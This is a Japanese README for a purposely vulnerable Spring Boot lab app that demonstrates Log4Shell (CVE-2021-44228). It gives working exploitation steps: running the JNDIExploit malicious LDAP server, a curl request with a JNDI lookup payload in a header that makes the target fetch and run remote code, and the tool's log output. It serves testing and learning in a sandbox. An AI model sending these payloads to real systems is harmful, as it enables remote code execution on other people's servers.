Log4Shellサンプル脆弱性アプリケーション（CVE-2021-44228）

このリポジトリには、Log4Shell と呼ばれるCVE-2021-44228に対して脆弱なSpring Boot Webアプリケーションが含まれています。

Log4j 2.14.1（spring-boot-starter-log4j2 2.6.1経由）とJDK 1.8.0_181を使用しています。

アプリケーションの実行

実行してください：

docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

悪用の手順

注：この内容は元のLunaSecアドバイザリから強い影響を受けています。自己責任で実行してください。できればサンドボックス環境のVM内で実行してください。

更新（12月13日）：JNDIExploitリポジトリがGitHubから削除されました（おそらく、GitHubによるものではありません）... ここをクリックすると、Wayback Machineにキャッシュされたバージョンをダウンロードできます。

• JNDIExploitを使用して、悪意のあるLDAPサーバーを起動します

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

• 次に、以下のコマンドでエクスプロイトをトリガーします：

# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

• JNDIExploitの出力に注目してください。悪意のあるLDAPレスポンスを送信し、第二段階のペイロードを配信したことが示されています：

[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200

• コード実行が成功したことを確認するには、脆弱性のあるアプリケーションを実行しているコンテナ内に/tmp/pwned.txtファイルが作成されていることに注目してください：

$ docker exec vulnerable-app ls /tmp
...
pwned
...

参考

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

コントリビューター

@christophetd @rayhan0x01